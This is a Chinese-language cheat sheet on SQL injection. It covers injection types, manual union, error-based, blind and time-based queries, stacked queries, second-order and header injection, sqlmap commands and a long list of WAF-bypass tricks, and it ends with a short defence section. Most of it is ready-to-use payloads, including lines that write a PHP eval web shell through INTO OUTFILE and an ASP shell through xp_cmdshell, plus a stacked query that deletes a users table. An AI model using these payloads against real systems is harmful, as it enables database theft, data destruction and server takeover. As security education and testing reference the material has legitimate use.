科普基礎 | 最全的SQL注入總結

淺談一入 發佈 2024-04-27T16:23:18.666389+00:00

0x01 SQL注入原理。當客戶端提交的數據未作處理或轉義直接帶入資料庫,就造成了sql注入。0x02 SQL注入的分類。

0x01 sql注入原理

當客戶端提交的數據未作處理或轉義直接帶入資料庫,就造成了sql注入。

攻擊者通過構造不同的sql語句來實現對資料庫的任意操作。

0x02 SQL注入的分類

按變量類型分:數字型和字符型

按HTTP提交方式分:POST注入、GET注入和Cookie注入

按注入方式分:布爾注入、聯合注入、多語句注入、報錯注入、延時注入、內聯注入

按資料庫類型分:

sql:oracle、MySQL、mssql、access、sqlite、postgersql
nosql:mongodb、redis

0x03 MySQL與MSSQL及ACCESS之間的區別

1.MySQL5.0以下沒有information_schema這個默認資料庫

2.ACCESS沒有庫名,只有表和欄位,並且注入時,後面必須跟表名,ACCESS沒有注釋

舉例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`

3.MySQL使用limit排序,ACCESS使用TOP排序(TOP在MSSQL也可使用)

0x04 判斷三種資料庫的語句

MySQL:and length(user())>10

ACCESS:and (select count(*)from MSysAccessObjects)>0

MSSQL:and (select count(*)from sysobjects)>0

0x05 基本手工注入流程

1.判斷注入點

數字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注釋符:-- (這是--空格)、--+、/**/、#

2.獲取欄位數

order by 二分法聯合查詢欄位數,觀察頁面變化從而確定欄位數

order by 1

order by 50

group by 譯為分組,注入時也可使用,不過我沒用過

3.查看顯示位嘗試使用聯合注入

利用and 1=2或and 0及id=-12查看顯示數據的位置

替換顯示位改成SQL語句,查看信息(當前資料庫,版本及用戶名)

and 1=2 union select version(),2,3

再查詢所有資料庫

and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3

查詢所有表名

union select (select group_concat(table_name)from information_schema.tables),2,3

查詢所有欄位名

union select (select group_concat(column_name)from information_schema.columns),2,3

查詢欄位內容

如:查詢test庫下users表的id及uname欄位,用'~'區分id和uname以防字符連接到一起

union select(select group_concat(id,'~',uname)from test.users),2,3

0x06 報錯注入

通用報錯語句:(測試版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

0x07 布爾盲注

盲注中常用的函數:

1.char() 解ascii碼

2.mid()截取字符串

舉例:mid('hello',1,3),從第1位開始截取3位,輸出位hel

3.substr()與mid()相同,都為截取字符串

4.count()計算查詢結果的行數

5.concat()查詢結果合併但保持原有行數

6.group_concat()查詢結果合併但都放在一行中

7.ascii() 查詢ascii碼

猜資料庫長度(利用二分法)

id=1 and (length(database()))>1
id=1 and (length(database()))>50

猜第一個字符,第二個字符,以此類推

and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1

查詢當前資料庫中所有表名

and (select count(table_name)from information_schema.tables where tables_schema=database())>1
and (select count(table_name)from information_schema.tables where tables_schema=database())>10

查詢第一個表的長度

and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10

查詢表的第一個字符

and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1

查詢atelier表里有幾個欄位

and(select count(column_name)from information_schema.columns where table_name = 'atelier' and table_schema = database())>2

查詢第一個欄位長度

and length((select column_name from information_schema.columns where table_name='atelier' and table_schema= database()limit 0,1))>1

查詢欄位第一個字符

and ascii(mid((select column_name from information_schema.columns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1))>105

查詢欄位所有行數

and (select count(*) from db83231_asfaa.atelier)>4

查詢欄位名的行數(查詢emails表,uname欄位)

and (select count(uname)from security.emails)>7  查詢uname的行數

查詢欄位內容

length((select username from security.users limit 0,1))>10
ascii(mid((select username from security.user limit 0,1),1,1))>100

將查詢到的ASCII碼放到mysql中查詢

舉例:select char(39);

0x08 延時盲注

利用sleep(3)和if(1=2,1,0)及case進行延時注入,示例:

select * from user where id='1' or sleep(3) %23

這個沒什麼好說的

select * from user where id= 1 and if(length(version())>10,sleep(3),0);

如果長度大於10,則睡3秒,其他則0秒

select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;

case定義條件,when 後面的1表示ture也代表真,當條件為真時,睡3秒,其他則0秒。

0x09 多語句注入

多語句意思就是可以執行多個語句,利用分號進行隔開

示例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+
id=1';select if(length(user(),1,1)>1,sleep(3),1) %23
';select if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>1,sleep(3),1) %23

0x10 內聯注入

舉例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

利用別名:

union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)

0x11 getshell

id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+

也可使用dumpfile進行寫入

outfile和dumpfile的區別:

outfile適合導庫,在行末尾會寫入新行並轉義,因此不能寫入二進位可執行文件。dumpfile只能執行一行數據。

資料庫寫入:

exec master..xp_cmdshell 'echo "<%eXECutegLobaL rEquEst(0)%>" > "c:\www\upload\Files\2019-11\404.asp"'

0x12 寬字節注入

當編碼位gbk時,%df%27或%81%27數據為空

就是說客戶端發送的數據編碼為gbk時,那麼可能會吃掉轉義字符\反斜槓,閉合之後頁面恢復正常,存在寬字節注入

測試出來就可以使用sqlmap跑了,23333

加*構造注入點(比-p更穩定),讓sqlmap對構造注入點進行注入攻擊(*優先級更高)

寬字節防禦:

第10行代碼必須和第24行必須同時使用,要麼就更換編碼格式

0x13 二次編碼注入

代碼中有urldecode() 函數

%2527 先解碼成%27再解碼成'單引號

sqlmap -u http://192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"

-prefix為設置前綴 -suffix為設置後綴

設置後綴,防止sqlmap使用內聯注

0x14 二次注入

abc' 數據經過addslashes過濾,單引號前面添加反斜槓abc\',但傳到資料庫的數據還是abc'

假如在如下場景中,我們瀏覽一些網站的時候,可以現在註冊見頁面註冊username=test',接下來訪問xxx.php?username=test',頁面返回id=22;

接下來再次發起請求xxx.php?id=22,這時候就有可能發生sql注入,比如頁面會返回MySQL的錯誤。

訪問xxx.php?id=test' union select 1,user(),3%23,獲得新的id=40,得到user()的結果,利用這種注入方式會得到資料庫中的值。

0x15 XFF頭注入

update user set loat_loginip = '8.8.8.8' where id =1 and sleep(5) #' where username = 'zs';

id根據網站用戶量取一個中間值,測試是否有注入,利用插件設置XFF頭,如果網站不報錯,可嘗試此注入

X-Forward-For:127.0.0.1' select 1,2,user()

0x16 常用過WAF技巧

1.特徵字符大小寫(基本沒用)

UnIoN SeLcT 1,2,3

2.內聯注釋

id=-1/*!UNION*/%20//*!SELECT*/%201,2,3

3.特殊字符代替空格

%09 tab鍵(水平)、%0a 換行、%0c 新的一頁
%0d return功能、%0b tab鍵(垂直)、%a0空格

4.等價函數和邏輯符號

hex()、bin()==>ascii()
sleep()==>benchmark()
concat_ws()==>group_concat()
mid()、substr()==>substring()
@@version==>version()
@@datadir==>datadir()
邏輯符號:如and和or不能使用時,嘗試&&和||雙管道符。

5.特殊符號

反引號,select `version()`,繞過空格和正則
加號和點,"+"和"."代表連接,也可繞過空格和關鍵字過濾
@符號,用於定義變量,一個@代表用戶變量,@@代表系統變量

6.關鍵字拆分

'se'+'lec'+'t'
%S%E%L%C%T 1,2,3
?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell"net user"')
!和():'or--+2=--!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)

7.加括號繞過

小括號

union (select+1,2,3+from+users)%23
union(select(1),(2),(3)from(users))
id=(1)or(0x50=0x50)
id=(-1)union(((((((select(1),hex(2),hex(3)from(users))))))))

花括號

select{x user}from{x mysql.user}
id=-1 union select 1,{x 2},3

8.過濾and和or下的盲注

id=strcmp(left((select%20username%20from%20users%20limit%200,1),1),0x42)%23
id=strcmp(left((select+username+from+limit+0,1),1,0x42)%23

9.白名單繞過

攔截信息:

GET /pen/news.php?id=1 union select user,password from mysql.user

繞過:

GET /pen/news. php/admin?id=1 union select user,password from mysql. user
GET /pen/admin/..\news. php?id=1 union select user,password from mysql. user

10.HTTP參數控制

(1)HPP(HTTP Parmeter Polution)(重複參數污染)

舉例:

index.php?id=1 union select username,password from users
index.php?id=1/**/union/*&id=*/select/*&id=*/username.password/*&id=*/from/*&id=*/users

HPP又稱作重複參數污染,最簡單的是?uid=1&uid=2&uid=3,對於這種情況,不用的web伺服器處理方式不同。

具體WAF如何處理,要看設置的規則,不過示例中最後一個有較大可能繞過

(2)HPF(HTTP Parmeter Fragment)(HTTP分割注入)

HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執行換行)

舉例:

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

0x17 SQL注入防禦

1.對用戶輸入的內容進行轉義

2.限制關鍵字的輸入,如單引號、雙引號、右括號等,限制輸入的長度

3.使用SQL語句預處理,對SQL語句進行預編譯,然後進行參數綁定,最後傳入參數

4.添加WAF,防火牆等

關鍵字: